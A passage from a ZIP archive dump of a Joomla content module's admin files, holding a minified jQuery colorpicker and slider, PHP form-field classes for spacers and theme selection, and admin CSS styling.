.input-group-addon",sliders:{saturation:{maxLeft:100,maxTop:100,callLeft:"setSaturation",callTop:"setBrightness"},hue:{maxLeft:0,maxTop:100,callLeft:!1,callTop:"setHue"},alpha:{maxLeft:0,maxTop:100,callLeft:!1,callTop:"setAlpha"}},slidersHorz:{saturation:{maxLeft:100,maxTop:100,callLeft:"setSaturation",callTop:"setBrightness"},hue:{maxLeft:100,maxTop:0,callLeft:"setHue",callTop:!1},alpha:{maxLeft:100,maxTop:0,callLeft:"setAlpha",callTop:!1}},template:'<div class="colorpicker dropdown-menu"><div class="colorpicker-saturation"><i><b></b></i></div><div class="colorpicker-hue"><i></i></div><div class="colorpicker-alpha"><i></i></div><div class="colorpicker-color"><div /></div><div class="colorpicker-selectors"></div></div>',align:"right",customClass:null,colorSelectors:null},d=function(d,e){if(this.element=a(d).addClass("colorpicker-element"),this.options=a.extend(!0,{},c,this.element.data(),e),this.component=this.options.component,this.component=this.component!==!1&&this.element.find(this.component),this.component&&0===this.component.length&&(this.component=!1),this.container=this.options.container===!0?this.element:this.options.container,this.container=this.container!==!1&&a(this.container),this.input=this.element.is("input")?this.element:!!this.options.input&&this.element.find(this.options.input),this.input&&0===this.input.length&&(this.input=!1),this.color=new b(this.options.color!==!1?this.options.color:this.getValue(),this.options.colorSelectors),this.format=this.options.format!==!1?this.options.format:this.color.origFormat,this.options.color!==!1&&(this.updateInput(this.color),this.updateData(this.color)),this.picker=a(this.options.template),this.options.customClass&&this.picker.addClass(this.options.customClass),this.options.inline?this.picker.addClass("colorpicker-inline colorpicker-visible"):this.picker.addClass("colorpicker-hidden"),this.options.horizontal&&this.picker.addClass("colorpicker-horizontal"),"rgba"!==this.format&&"hsla"!==this.format&&this.options.format!==!1||this.picker.addClass("colorpicker-with-alpha"),"right"===this.options.align&&this.picker.addClass("colorpicker-right"),this.options.inline===!0&&this.picker.addClass("colorpicker-no-arrow"),this.options.colorSelectors){var f=this;a.each(this.options.colorSelectors,function(b,c){var d=a("<i />").css("background-color",c).data("class",b);d.click(function(){f.setValue(a(this).css("background-color"))}),f.picker.find(".colorpicker-selectors").append(d)}),this.picker.find(".colorpicker-selectors").show()}this.picker.on("mousedown.colorpicker touchstart.colorpicker",a.proxy(this.mousedown,this)),this.picker.appendTo(this.container?this.container:a("body")),this.input!==!1&&(this.input.on({"keyup.colorpicker":a.proxy(this.keyup,this)}),this.input.on({"change.colorpicker":a.proxy(this.change,this)}),this.component===!1&&this.element.on({"focus.colorpicker":a.proxy(this.show,this)}),this.options.inline===!1&&this.element.on({"focusout.colorpicker":a.proxy(this.hide,this)})),this.component!==!1&&this.component.on({"click.colorpicker":a.proxy(this.show,this)}),this.input===!1&&this.component===!1&&this.element.on({"click.colorpicker":a.proxy(this.show,this)}),this.input!==!1&&this.component!==!1&&"color"===this.input.attr("type")&&this.input.on({"click.colorpicker":a.proxy(this.show,this),"focus.colorpicker":a.proxy(this.show,this)}),this.update(),a(a.proxy(function(){this.element.trigger("create")},this))};d.Color=b,d.prototype={constructor:d,destroy:function(){this.picker.remove(),this.element.removeData("colorpicker","color").off(".colorpicker"),this.input!==!1&&this.input.off(".colorpicker"),this.component!==!1&&this.component.off(".colorpicker"),this.element.removeClass("colorpicker-element"),this.element.trigger({type:"destroy"})},reposition:function(){if(this.options.inline!==!1||this.options.container)return!1;var a=this.container&&this.container[0]!==document.body?"position":"offset",b=this.component||this.element,c=b[a]();"right"===this.options.align&&(c.left-=this.picker.outerWidth()-b.outerWidth()),this.picker.css({top:c.top+b.outerHeight(),left:c.left})},show:function(b){return!this.isDisabled()&&(this.picker.addClass("colorpicker-visible").removeClass("colorpicker-hidden"),this.reposition(),a(window).on("resize.colorpicker",a.proxy(this.reposition,this)),!b||this.hasInput()&&"color"!==this.input.attr("type")||b.stopPropagation&&b.preventDefault&&(b.stopPropagation(),b.preventDefault()),!this.component&&this.input||this.options.inline!==!1||a(window.document).on({"mousedown.colorpicker":a.proxy(this.hide,this)}),void this.element.trigger({type:"showPicker",color:this.color}))},hide:function(){this.picker.addClass("colorpicker-hidden").removeClass("colorpicker-visible"),a(window).off("resize.colorpicker",this.reposition),a(document).off({"mousedown.colorpicker":this.hide}),this.update(),this.element.trigger({type:"hidePicker",color:this.color})},updateData:function(a){return a=a||this.color.toString(this.format),this.element.data("color",a),a},updateInput:function(a){if(a=a||this.color.toString(this.format),this.input!==!1){if(this.options.colorSelectors){var c=new b(a,this.options.colorSelectors),d=c.toAlias();"undefined"!=typeof this.options.colorSelectors[d]&&(a=d)}this.input.prop("value",a)}return a},updatePicker:function(a){void 0!==a&&(this.color=new b(a,this.options.colorSelectors));var c=this.options.horizontal===!1?this.options.sliders:this.options.slidersHorz,d=this.picker.find("i");if(0!==d.length)return this.options.horizontal===!1?(c=this.options.sliders,d.eq(1).css("top",c.hue.maxTop*(1-this.color.value.h)).end().eq(2).css("top",c.alpha.maxTop*(1-this.color.value.a))):(c=this.options.slidersHorz,d.eq(1).css("left",c.hue.maxLeft*(1-this.color.value.h)).end().eq(2).css("left",c.alpha.maxLeft*(1-this.color.value.a))),d.eq(0).css({top:c.saturation.maxTop-this.color.value.b*c.saturation.maxTop,left:this.color.value.s*c.saturation.maxLeft}),this.picker.find(".colorpicker-saturation").css("backgroundColor",this.color.toHex(this.color.value.h,1,1,1)),this.picker.find(".colorpicker-alpha").css("backgroundColor",this.color.toHex()),this.picker.find(".colorpicker-color, .colorpicker-color div").css("backgroundColor",this.color.toString(this.format)),a},updateComponent:function(a){if(a=a||this.color.toString(this.format),this.component!==!1){var b=this.component.find("i").eq(0);b.length>0?b.css({backgroundColor:a}):this.component.css({backgroundColor:a})}return a},update:function(a){var b;return this.getValue(!1)===!1&&a!==!0||(b=this.updateComponent(),this.updateInput(b),this.updateData(b),this.updatePicker()),b},setValue:function(a){this.color=new b(a,this.options.colorSelectors),this.update(!0),this.element.trigger({type:"changeColor",color:this.color,value:a})},getValue:function(a){a=void 0===a?"#000000":a;var b;return b=this.hasInput()?this.input.val():this.element.data("color"),void 0!==b&&""!==b&&null!==b||(b=a),b},hasInput:function(){return this.input!==!1},isDisabled:function(){return!!this.hasInput()&&this.input.prop("disabled")===!0},disable:function(){return!!this.hasInput()&&(this.input.prop("disabled",!0),this.element.trigger({type:"disable",color:this.color,value:this.getValue()}),!0)},enable:function(){return!!this.hasInput()&&(this.input.prop("disabled",!1),this.element.trigger({type:"enable",color:this.color,value:this.getValue()}),!0)},currentSlider:null,mousePointer:{left:0,top:0},mousedown:function(b){!b.pageX&&!b.pageY&&b.originalEvent&&b.originalEvent.touches&&(b.pageX=b.originalEvent.touches[0].pageX,b.pageY=b.originalEvent.touches[0].pageY),b.stopPropagation(),b.preventDefault();var c=a(b.target),d=c.closest("div"),e=this.options.horizontal?this.options.slidersHorz:this.options.sliders;if(!d.is(".colorpicker")){if(d.is(".colorpicker-saturation"))this.currentSlider=a.extend({},e.saturation);else if(d.is(".colorpicker-hue"))this.currentSlider=a.extend({},e.hue);else{if(!d.is(".colorpicker-alpha"))return!1;this.currentSlider=a.extend({},e.alpha)}var f=d.offset();this.currentSlider.guide=d.find("i")[0].style,this.currentSlider.left=b.pageX-f.left,this.currentSlider.top=b.pageY-f.top,this.mousePointer={left:b.pageX,top:b.pageY},a(document).on({"mousemove.colorpicker":a.proxy(this.mousemove,this),"touchmove.colorpicker":a.proxy(this.mousemove,this),"mouseup.colorpicker":a.proxy(this.mouseup,this),"touchend.colorpicker":a.proxy(this.mouseup,this)}).trigger("mousemove")}return!1},mousemove:function(a){!a.pageX&&!a.pageY&&a.originalEvent&&a.originalEvent.touches&&(a.pageX=a.originalEvent.touches[0].pageX,a.pageY=a.originalEvent.touches[0].pageY),a.stopPropagation(),a.preventDefault();var b=Math.max(0,Math.min(this.currentSlider.maxLeft,this.currentSlider.left+((a.pageX||this.mousePointer.left)-this.mousePointer.left))),c=Math.max(0,Math.min(this.currentSlider.maxTop,this.currentSlider.top+((a.pageY||this.mousePointer.top)-this.mousePointer.top)));return this.currentSlider.guide.left=b+"px",this.currentSlider.guide.top=c+"px",this.currentSlider.callLeft&&this.color[this.currentSlider.callLeft].call(this.color,b/this.currentSlider.maxLeft),this.currentSlider.callTop&&this.color[this.currentSlider.callTop].call(this.color,c/this.currentSlider.maxTop),"setAlpha"===this.currentSlider.callTop&&this.options.format===!1&&(1!==this.color.value.a?(this.format="rgba",this.color.origFormat="rgba"):(this.format="hex",this.color.origFormat="hex")),this.update(!0),this.element.trigger({type:"changeColor",color:this.color}),!1},mouseup:function(b){return b.stopPropagation(),b.preventDefault(),a(document).off({"mousemove.colorpicker":this.mousemove,"touchmove.colorpicker":this.mousemove,"mouseup.colorpicker":this.mouseup,"touchend.colorpicker":this.mouseup}),!1},change:function(a){this.keyup(a)},keyup:function(a){38===a.keyCode?(this.color.value.a<1&&(this.color.value.a=Math.round(100*(this.color.value.a+.01))/100),this.update(!0)):40===a.keyCode?(this.color.value.a>0&&(this.color.value.a=Math.round(100*(this.color.value.a-.01))/100),this.update(!0)):(this.color=new b(this.input.val(),this.options.colorSelectors),this.color.origFormat&&this.options.format===!1&&(this.format=this.color.origFormat),this.getValue(!1)!==!1&&(this.updateData(),this.updateComponent(),this.updatePicker())),this.element.trigger({type:"changeColor",color:this.color,value:this.input.val()})}},a.colorpicker=d,a.fn.colorpicker=function(b){var c=Array.prototype.slice.call(arguments,1),e=1===this.length,f=null,g=this.each(function(){var e=a(this),g=e.data("colorpicker"),h="object"==typeof b?b:{};g||(g=new d(this,h),e.data("colorpicker",g)),"string"==typeof b?a.isFunction(g[b])?f=g[b].apply(g,c):(c.length&&(g[b]=c[0]),f=g[b]):f=e});return e?f:g},a.fn.colorpicker.constructor=d});PK!-Of^��5mod_ajax_intro_articles/admin/js/simple-slider.min.jsnu&1i�/*
 * jQuery Simple Slider: Unobtrusive Numerical Slider
 * Version 1.0.0
 *
 * Copyright (c) 2014 James Smith (http://loopj.com)
 *
 * Licensed under the MIT license (http://mit-license.org/)
 *
 */

var __slice=[].slice,__indexOf=[].indexOf||function(e){for(var t=0,n=this.length;t<n;t++)if(t in this&&this[t]===e)return t;return-1};(function(e,t){var n;return n=function(){function t(t,n){var r,i=this;this.input=t,this.defaultOptions={animate:!0,snapMid:!1,classPrefix:null,classSuffix:null,theme:null,highlight:!1},this.settings=e.extend({},this.defaultOptions,n),this.settings.theme&&(this.settings.classSuffix="-"+this.settings.theme),this.input.hide(),this.slider=e("<div>").addClass("slider"+(this.settings.classSuffix||"")).css({position:"relative",userSelect:"none",boxSizing:"border-box"}).insertBefore(this.input),this.input.attr("id")&&this.slider.attr("id",this.input.attr("id")+"-slider"),this.track=this.createDivElement("track").css({width:"100%"}),this.settings.highlight&&(this.highlightTrack=this.createDivElement("highlight-track").css({width:"0"})),this.dragger=this.createDivElement("dragger"),this.slider.css({minHeight:this.dragger.outerHeight(),marginLeft:this.dragger.outerWidth()/2,marginRight:this.dragger.outerWidth()/2}),this.track.css({marginTop:this.track.outerHeight()/-2}),this.settings.highlight&&this.highlightTrack.css({marginTop:this.track.outerHeight()/-2}),this.dragger.css({marginTop:this.dragger.outerHeight()/-2,marginLeft:this.dragger.outerWidth()/-2}),this.track.mousedown(function(e){return i.trackEvent(e)}),this.settings.highlight&&this.highlightTrack.mousedown(function(e){return i.trackEvent(e)}),this.dragger.mousedown(function(e){if(e.which!==1)return;return i.dragging=!0,i.dragger.addClass("dragging"),i.domDrag(e.pageX,e.pageY),!1}),e("body").mousemove(function(t){if(i.dragging)return i.domDrag(t.pageX,t.pageY),e("body").css({cursor:"pointer"})}).mouseup(function(t){if(i.dragging)return i.dragging=!1,i.dragger.removeClass("dragging"),e("body").css({cursor:"auto"})}),this.pagePos=0,this.input.val()===""?(this.value=this.getRange().min,this.input.val(this.value)):this.value=this.nearestValidValue(this.input.val()),this.setSliderPositionFromValue(this.value),r=this.valueToRatio(this.value),this.input.trigger("slider:ready",{value:this.value,ratio:r,position:r*this.slider.outerWidth(),el:this.slider})}return t.prototype.createDivElement=function(t){var n;return n=e("<div>").addClass(t).css({position:"absolute",top:"50%",userSelect:"none",cursor:"pointer"}).appendTo(this.slider),n},t.prototype.setRatio=function(e){var t;return e=Math.min(1,e),e=Math.max(0,e),t=this.ratioToValue(e),this.setSliderPositionFromValue(t),this.valueChanged(t,e,"setRatio")},t.prototype.setValue=function(e){var t;return e=this.nearestValidValue(e),t=this.valueToRatio(e),this.setSliderPositionFromValue(e),this.valueChanged(e,t,"setValue")},t.prototype.trackEvent=function(e){if(e.which!==1)return;return this.domDrag(e.pageX,e.pageY,!0),this.dragging=!0,!1},t.prototype.domDrag=function(e,t,n){var r,i,s;n==null&&(n=!1),r=e-this.slider.offset().left,r=Math.min(this.slider.outerWidth(),r),r=Math.max(0,r);if(this.pagePos!==r)return this.pagePos=r,i=r/this.slider.outerWidth(),s=this.ratioToValue(i),this.valueChanged(s,i,"domDrag"),this.settings.snap?this.setSliderPositionFromValue(s,n):this.setSliderPosition(r,n)},t.prototype.setSliderPosition=function(e,t){t==null&&(t=!1);if(t&&this.settings.animate){this.dragger.animate({left:e},200);if(this.settings.highlight)return this.highlightTrack.animate({width:e},200)}else{this.dragger.css({left:e});if(this.settings.highlight)return this.highlightTrack.css({width:e})}},t.prototype.setSliderPositionFromValue=function(e,t){var n;return t==null&&(t=!1),n=this.valueToRatio(e),this.setSliderPosition(n*this.slider.outerWidth(),t)},t.prototype.getRange=function(){return this.settings.allowedValues?{min:Math.min.apply(Math,this.settings.allowedValues),max:Math.max.apply(Math,this.settings.allowedValues)}:this.settings.range?{min:parseFloat(this.settings.range[0]),max:parseFloat(this.settings.range[1])}:{min:0,max:1}},t.prototype.nearestValidValue=function(t){var n,r,i,s;return i=this.getRange(),t=Math.min(i.max,t),t=Math.max(i.min,t),this.settings.allowedValues?(n=null,e.each(this.settings.allowedValues,function(){if(n===null||Math.abs(this-t)<Math.abs(n-t))return n=this}),n):this.settings.step?(r=(i.max-i.min)/this.settings.step,s=Math.floor((t-i.min)/this.settings.step),(t-i.min)%this.settings.step>this.settings.step/2&&s<r&&(s+=1),s*this.settings.step+i.min):t},t.prototype.valueToRatio=function(e){var t,n,r,i,s,o,u,a;if(this.settings.equalSteps){a=this.settings.allowedValues;for(i=o=0,u=a.length;o<u;i=++o){t=a[i];if(typeof n=="undefined"||n===null||Math.abs(t-e)<Math.abs(n-e))n=t,r=i}return this.settings.snapMid?(r+.5)/this.settings.allowedValues.length:r/(this.settings.allowedValues.length-1)}return s=this.getRange(),(e-s.min)/(s.max-s.min)},t.prototype.ratioToValue=function(e){var t,n,r,i,s;return this.settings.equalSteps?(s=this.settings.allowedValues.length,i=Math.round(e*s-.5),t=Math.min(i,this.settings.allowedValues.length-1),this.settings.allowedValues[t]):(n=this.getRange(),r=e*(n.max-n.min)+n.min,this.nearestValidValue(r))},t.prototype.valueChanged=function(t,n,r){var i;if(t.toString()===this.value.toString())return;return this.value=t,i={value:t,ratio:n,position:n*this.slider.outerWidth(),trigger:r,el:this.slider},this.input.val(t).trigger(e.Event("change",i)).trigger("slider:changed",i)},t}(),e.extend(e.fn,{simpleSlider:function(){var t,r,i;return i=arguments[0],t=2<=arguments.length?__slice.call(arguments,1):[],r=["setRatio","setValue"],e(this).each(function(){var s,o;return i&&__indexOf.call(r,i)>=0?(s=e(this).data("slider-object"),s[i].apply(s,t)):(o=i,e(this).data("slider-object",new n(e(this),o)))})}}),e(function(){return e("[data-slider]").each(function(){var t,n,r,i;return t=e(this),r={},n=t.data("slider-values"),n&&(r.allowedValues=function(){var e,t,r,s;r=n.split(","),s=[];for(e=0,t=r.length;e<t;e++)i=r[e],s.push(parseFloat(i));return s}()),t.data("slider-range")&&(r.range=t.data("slider-range").split(",")),t.data("slider-step")&&(r.step=t.data("slider-step")),r.snap=t.data("slider-snap"),r.equalSteps=t.data("slider-equal-steps"),t.data("slider-theme")&&(r.theme=t.data("slider-theme")),t.attr("data-slider-highlight")&&(r.highlight=t.data("slider-highlight")),t.data("slider-animate")!=null&&(r.animate=t.data("slider-animate")),t.simpleSlider(r)})})})(this.jQuery||this.Zepto,this);PK!�@3aa*mod_ajax_intro_articles/admin/apspacer.phpnu&1i�<?php
/**
 * @author		Aplikko
 * @website		http://aplikko.com
 * @copyright	Copyright (C) 2018 Aplikko.com. All rights reserved.
 * @license		http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
**/

// no direct access
defined('_JEXEC') or die;

jimport('joomla.form.formfield');

class JFormFieldApspacer extends JFormField {

	public $type = 'Apspacer';
	
	//Empty Label
    protected function getLabel(){return;}
	
	protected function getInput(){

		$html = array();
		// Initialize some field attributes.
		$class = $this->element['class'] ? ' class="' . (string) $this->element['class'] . '"' : '';
		
		$divider = $this->element['divider'] == 'true' ? '<span class="divider"></span>' : '';
		$icon = ($this->element['icon'] != NULL) ? '<i class="'. JText::_($this->element['icon']) .'"></i>' : '';
		$style = ($this->element['style'] != NULL) ? ' style="'. JText::_($this->element['style']) .'"' : '';
		
		$hr = $this->element['hr'] == 'true' ? '<hr'.$style.' />' : '';
		
		$margin = $this->element['hr'] == 'true' ? '' : ' no-hr';
		$prepend = ($this->element['prepend'] != NULL) ? '<h3'.$style.' class="prepend'.$margin.'">'. $icon . JText::_($this->element['prepend']). $divider .'</h3>' : '';
		$append = ($this->element['append'] != NULL) ? '<h3'.$style.' class="append'.$margin.'">'. $icon . JText::_($this->element['append']). $divider .'</h3>' : '';

		// Start field output.
		$html[] = '<fieldset id="' . $this->id . '"' . $class . '>';
        $html[] = '<div class="row-fluid"><div class="clearfix span12">'. $prepend . $hr . $append .'</div></div>';
		$html[] = '</fieldset>';
		
		return implode($html);
	}
	
	public function renderField($options = array()) {
		$datashowon = ' data-showon=\'' . json_encode(JFormHelper::parseShowOnConditions($this->showon, $this->formControl, $this->group)) . '\'';
		return '<div'.$datashowon.'>'. $this->getInput() .'</div>';
 	}

}
PK!f!Jdd-mod_ajax_intro_articles/admin/themeselect.phpnu&1i�<?php
/**
 * @package 	themeselect.php
 * @author		Aplikko
 * @website		http://aplikko.com
 * @copyright	Copyright (C) 2018 Aplikko.com. All rights reserved.
 * @license		http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
**/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

/**
 * Form Field class for the Joomla Platform.
 * Provides radio button inputs
 *
 * @package     Joomla.Platform
 * @subpackage  Form
 * @link        http://www.w3.org/TR/html-markup/command.radio.html#command.radio
 * @since       11.1
 */
class JFormFieldThemeselect extends JFormField
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  11.1
	 */
	protected $type = 'Themeselect';
	
	/**
	 * Method to get the radio button field input markup.
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   11.1
	 */
	
	protected function getInput(){

		$doc = JFactory::getDocument();
	
		$moduleName = basename(dirname(__DIR__));
		$doc->addStylesheet(JURI::root(true).'/modules/'.$moduleName.'/admin/css/admin_style.css');

		$html = array();
		// Initialize some field attributes.
		$class = $this->element['class'] ? ' class="' . (string) $this->element['class'] . '"' : ' class="radio"';

		// Start the radio field output.
		$html[] = '<fieldset id="' . $this->id . '"' . $class . '>';

		// Get the field options.
		$options = $this->getOptions();
		
		// Build the radio field output.
		foreach ($options as $i => $option) {

			$theme = htmlspecialchars($option->value, ENT_COMPAT, 'UTF-8');
			$thumbpath = JURI::root(true).'/modules/'.basename(dirname(__DIR__)).'/admin/images/columns/'.strtolower($theme).'-col.png';

			// Initialize some option attributes.
			$checked = ((string) $option->value == (string) $this->value) ? ' checked="checked"' : '';
			$class = !empty($option->class) ? ' class="' . $option->class . '"' : '';
			$icon = !empty($option->icon) ? ' <i class="' . $option->icon . '"></i>' : '';
	
			$onclick    = !empty($option->onclick) ? 'onclick="' . $option->onclick . '"' : '';
			$onchange   = !empty($option->onchange) ? 'onchange="' . $option->onchange . '"' : '';

			$html[] = '<input type="radio" id="' . $this->id . $i . '" name="' . $this->name . '"' . ' value="'
				. htmlspecialchars($option->value, ENT_COMPAT, 'UTF-8') . '"' . $checked . $onclick . '/>';
			$html[] = '<label for="' . $this->id . $i . '"'.$class.'>'
				. '<div class="select column-'.$this->id.'" title="'.JText::_($option->text).'"><img src="'.$thumbpath.'" /><p class="desc">'.JText::_($option->text).'</p>'
				. '</div>'
				. '</label>';
		}
		$html[] = '</fieldset>';
		?>
        
		<script type="text/javascript">
			// Select (radios)
			jQuery(document).ready(function(){
				jQuery("fieldset#<?php echo $this->id; ?> input[id^='<?php echo $this->id; ?>']").hide();//hide default radios
				var checkeditem = jQuery("fieldset#<?php echo $this->id; ?> input[id^='<?php echo $this->id; ?>']:checked").next().children();
				checkeditem.addClass("highlight");
				jQuery("fieldset#<?php echo $this->id; ?> .column-<?php echo $this->id; ?>").click(function(){
				jQuery("fieldset#<?php echo $this->id; ?> .column-<?php echo $this->id; ?>").removeClass("highlight");	
				jQuery(this).toggleClass("highlight").show();
				});
			});
		</script>
		<?php	
		
		return implode($html);
	}
			
	/**
	 * Method to get the field options for radio buttons.
	 * @return  array  The field option objects.
	 * @since   11.1
	 */
	protected function getOptions()
	{
		$options = array();

		foreach ($this->element->children() as $option) {

			// Only add <option /> elements.
			if ($option->getName() != 'option') {
				continue;
			}

			// Create a new option object based on the <option /> element.
			$tmp = JHtml::_(
				'select.option', (string) $option['value'], trim((string) $option), 'value', 'text',
				((string) $option['disabled'] == 'true')
			);
			
			// Include Icons in Options
			$tmp->icon = (string) $option['icon'];

			// Set some option attributes.
			$tmp->class = (string) $option['class'];

			// Set some JavaScript option attributes.
			$tmp->onclick = (string) $option['onclick'];

			// Add the option object to the result set.
			$options[] = $tmp;
		}

		reset($options);

		return $options;
	}
	
	public function renderField($options = array()) {
		$datashowon = ' data-showon=\'' . json_encode(JFormHelper::parseShowOnConditions($this->showon, $this->formControl, $this->group)) . '\'';
	return '<div class="control-group '.$this->element['name'].'"'.$datashowon.'>'
		. '<div class="control-label selector-label">' . $this->getLabel() . '</div>'
		. '<div class="controls">' . $this->getInput() . '</div>'
		. '</div>';
 	}
	
}
PK!UbǪ�3�31mod_ajax_intro_articles/admin/css/admin_style.cssnu&1i�

/* columns selectors */
div.columns, div.columns .control-label, div.columns .controls {
    /*width: 100%;*/
	margin:15px auto;
}
.apspacer {
	position:relative;
	width:100%;
	margin:0;
}
.apspacer h3 {
	font-family: 'Nunito Sans', sans-serif;
	display:table;
	width:auto;
	padding-right:15px;
	z-index:2;
	background: white;
	/*letter-spacing: 1px;*/
}
.apspacer hr {
	margin:10px auto;
	border-top-color:#d0d0d0;
}
.apspacer h3.prepend {
	margin:25px 0 0;
}
.apspacer h3.append {
	margin:0 0 25px;
}
.apspacer h3.no-hr {
	margin:30px 0;
}
.apspacer h3 i {
	opacity:0.5;
	margin:-1px 8px 0 0;
	
}
.apspacer h3 .divider {
	content:"";
	z-index:-1;
	position:absolute;
	display:table;
	margin:-9px 0 0;
	background:white;
	width:100%;
	height:1px;
	border-top: 1px solid #d0d0d0;

}

div.columns .controls {
    margin:0;
    padding: 0;
	/*display:table;*/
}
.intro_style .selector-label,
.loadmore_button .selector-label,
.readmore_button .selector-label,
.article_style .selector-label {
	margin-top:10px;
}

fieldset.label-columns {
    margin: 0;
    padding: 10px 5px;
	background:#f9f9f9;
	border-radius:4px;
    width: auto;
}

fieldset.label-columns label {
    margin: 0 5px 0;
    padding: 0;
    text-align: left;
    /*float: none;*/
    display: inline-table;
}

fieldset.label-columns label .select {
    padding: 10px;
    margin: 5px 0 5px 5px;
    border: 2px solid transparent;
    border-radius: 2px;
	font-family: 'Muli', sans-serif;
}

fieldset.label-columns label .select img {
    padding: 10px;
	margin:0 5px;
	max-width:40px;
    background: #f9f9f9;
    border: 1px solid #aaa;
	border-radius:3px;
	-webkit-filter: grayscale(1) contrast(2);
  	filter: grayscale(1) contrast(2);
}

fieldset.label-columns label .select.highlight {
    display: block;
    background: #f0f0f0;
    position: relative;
    -webkit-transition: all .7s ease;
    -moz-transition: all .7s ease;
    -o-transition: all .7s ease;
	transition: all .7s ease;
    border: 2px solid rgba(241,72,51,0.8);
	border-radius:4px;
    box-shadow:0 0 0 1px rgba(241,72,51,0.4), 0 3px 5px rgba(56,56,56,0.1);
    z-index: 1;
}

fieldset.label-columns label .select.highlight img {
    background: #fff;
    border: 1px solid #aaa;
	-webkit-filter: grayscale(0.4) contrast(2);
  	filter: grayscale(0.4) contrast(2);
}

fieldset.label-columns label .select p {
    text-align: center;
    padding: 0;
    margin: 0 auto;
}

fieldset.label-columns label .select p.desc {
    text-align: center;
    clear: both;
    padding: 0;
    margin: 7px auto 0;
}

fieldset.label-columns label .select.highlight p.desc {
    font-weight: bold;
    color: #222;
    text-shadow: 1px 1px 0px rgba(255,255,255,.5);
}

/* SELECTOR */
div.intro_style {
	display:block;
}
fieldset.styles {
	padding:0;
	margin:10px 0;
	font-family: 'Nunito Sans', sans-serif;
}
fieldset.styles .selector-icons {
	color:#707070;
	background:#f0f0f0;
	box-shadow:inset 0 -1px 0 #bbb;
	border-radius:3px 3px 0 0;
	-webkit-transition: all .3s ease;
    -moz-transition: all .3s ease;
    -o-transition: all .3s ease;
	transition: all .3s ease;
	
}
fieldset.styles .selector-icons i {
	text-shadow:1px 1px 1px #fff;
}
fieldset.styles label {
	display:inline-block;
	float:left;
	margin:0 20px 0 0;
}
fieldset.styles label .selector {
	display: block;
	/*
	width:130px;
	min-height:90px;
	*/
	padding:2px 5px;
	line-height:1.3;
	background: #f9f9f9;
	color:#555;
	border: 1px solid #aaa;
	border-radius:4px;
	text-align:center;
}
fieldset.styles label .selector.highlight {
	background: #fff;
	color:#111;
    position: relative;
    -webkit-transition: all .3s ease;
    -moz-transition: all .3s ease;
    -o-transition: all .3s ease;
	transition: all .3s ease;
    border: 1px solid rgba(241,72,51,0.8);
	border-radius:4px;
    box-shadow:0 0 0 2px rgba(241,72,51,0.6), 0 3px 8px rgba(56,56,56,0.2);
}
fieldset.styles label .selector.highlight .selector-icons {
	color:#333;
	background:rgba(176,200,178,0.2);
	box-shadow:inset 0 -1px 0 #ddd;
}

fieldset.styles label .selector .selector-image {
	overflow:hidden;
	-webkit-filter: grayscale(100%);
    filter: grayscale(100%);
	box-shadow:inset 0 -1px 0 #ccc, inset 0 -10px 35px rgba(255,255,255,0.7);
	-webkit-transition: all .3s ease-in-out;
    -moz-transition: all .3s ease-in-out;
    -o-transition: all .3s ease-in-out;
	transition: all .3s ease-in-out;
	/*
	 -webkit-transform: scale(1) translateY(0);
  	transform: scale(1) translateY(0);
	*/
}

fieldset.styles label .selector.highlight .selector-image {
	-webkit-filter: grayscale(0%);
    filter: grayscale(0%);
	box-shadow:inset 0 -1px 0 #ccc, inset 0 -10px 20px rgba(255,255,255,0.1);
	overflow:hidden;
	/*
	transform: scale(1.05) translateY(-1px);
	 -webkit-transform: scale(1.05) translateY(-1px);
	 */

}
/* LoadMore Buttons */
fieldset.buttons {
	padding:0;
	margin:10px 0;
	/*color:rgba(0,165,64,0.59);*/
}
fieldset.buttons label {
	display:inline-block;
	float:left;
	margin:0 12px 10px 0;
}
fieldset.buttons label .selector {
	padding:7px 14px;
	line-height:1.3;
	border: 1px solid transparent;
	text-align:center;
	border-radius:3px;
	/*box-shadow:0 0 0 1px #ccc;*/
}
fieldset.buttons label .selector:after {
	-webkit-transition: all .5s ease-in-out;
    -moz-transition: all .5s ease-in-out;
    -o-transition: all .5s ease-in-out;
	transition: all .5s ease-in-out;
	position: absolute;
    content:"";
	height:3px;
	margin:0 auto;
	width:0;
	background:transparent;
	top:39px;
	left:-5%;	
}
fieldset.buttons label .selector.highlight {
    position: relative;
    -webkit-transition: all .3s ease-in-out;
    -moz-transition: all .3s ease-in-out;
    -o-transition: all .3s ease-in-out;
	transition: all .3s ease-in-out;
    z-index: 1;
	-webkit-transform: translateY(-3px);
	transform: translateY(-3px);

}
fieldset.buttons label .selector.highlight:after {
	background:#f14833;
	width:110%;
	left:-5%;
	top:39px;
	box-shadow:0 1px 2px rgba(56,56,56,0.2);
}

fieldset.buttons label .selector i {
	margin-top:2px;
	width:20px;
	vertical-align:middle;
	line-height:1;
	text-align:center;
}


/* Buttons */
.btn.btn-default {
  background-color: rgba(255,255,255,0.75);
  box-shadow:0 0 0 1px #777;
  color: #666666;
}
.btn.btn-default:hover,
.btn.btn-default:focus{
  background-color: rgba(255,255,255,0.95);

}
.btn.btn-primary,
.btn.sppb-btn-primary {
  border-color: #f03f29;
  background-color: #f14833;
  background-color: rgba(241,72,51,0.9);
  color: #fff;
  outline: 0;
}
.btn.btn-primary:hover,
.btn.btn-primary:focus{
  border-color: #ca230e;
  background-color: #f03720;
  color: #fff;
}
.btn.btn-light,
.btn.sppb-btn-light {
  color: #aaa;
  border-color: #f5f5f5;
  box-shadow:0 0 0 1px #ccc;
  border-color: rgba(255,255,255,0.77);
  background-color: rgba(55,55,55,0.05);
}
.btn.btn-light:hover,
.btn.btn-light:focus {
  border-color: #fff;
  color: #aaa;
  background-color: rgba(255,255,255,0.15);
}
.btn.btn-dark,
.btn.sppb-btn-dark {
  color: #fff;
  border-color: #4d4d4d;
  background-color: rgba(51,51,51,0.72);
}
.btn.btn-dark:hover,
.btn.btn-dark:focus {
  color: #eee;
  border-color: #333;
  background-color: #424242;
  background-color: rgba(51,51,51,0.87);
}
.btn.btn-left,.btn.btn-right,.btn.btn-center {
  box-shadow:0 0 0 1px #c9c9c9;
  color: #555;
  background:#f5f5f5;
  text-shadow:0 1px 0 #fff;
}
.btn.btn-left.highlight,.btn.btn-right.highlight,.btn.btn-center.highlight {
	box-shadow:0 0 0 1px rgba(55,55,55,0.5);
	background:#f9f9f9;
}

/* Error message */
.control-group p.error {
